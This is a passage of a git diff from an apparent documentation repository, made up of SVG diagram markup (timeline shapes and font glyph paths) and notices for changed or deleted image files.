stroke-width: 2; stroke: #000000" x1="565" y1="125" x2="565" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="130" x2="595" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="125" x2="625" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="130" x2="655" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="125" x2="685" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="130" x2="715" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="125" x2="745" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="130" x2="775" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="125" x2="805" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="130" x2="835" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="125" x2="865" y2="145"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="130" x2="895" y2="140"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="125" x2="925" y2="145"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="170"> + <tspan x="925" y="170">13:15</tspan> + </text> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="675" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="735" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="825" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="65" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="5" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="5" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="5" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="5" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="645" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="5" width="19.3548" height="20" rx="0" ry="0"/> + </g> +</svg> diff --git a/_images/release-process.jpg b/_images/release-process.jpg deleted file mode 100644 index 9868404b07f..00000000000 Binary files a/_images/release-process.jpg and /dev/null differ diff --git a/_images/security/anonymous_wdt.png b/_images/security/anonymous_wdt.png index 8dbf1cd8298..80736afce39 100644 Binary files a/_images/security/anonymous_wdt.png and b/_images/security/anonymous_wdt.png differ diff --git a/_images/security/profiler-badges.png b/_images/security/profiler-badges.png new file mode 100644 index 00000000000..a19f8539581 Binary files /dev/null and b/_images/security/profiler-badges.png differ diff --git a/_images/security/security_events.svg b/_images/security/security_events.svg new file mode 100644 index 00000000000..f1b93923da6 --- /dev/null +++ b/_images/security/security_events.svg @@ -0,0 +1,338 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="679" height="320" viewBox="0 0 1101 520" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.15625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -1.40625 L 8.15625 -1.40625 Z M 8.15625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 -10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 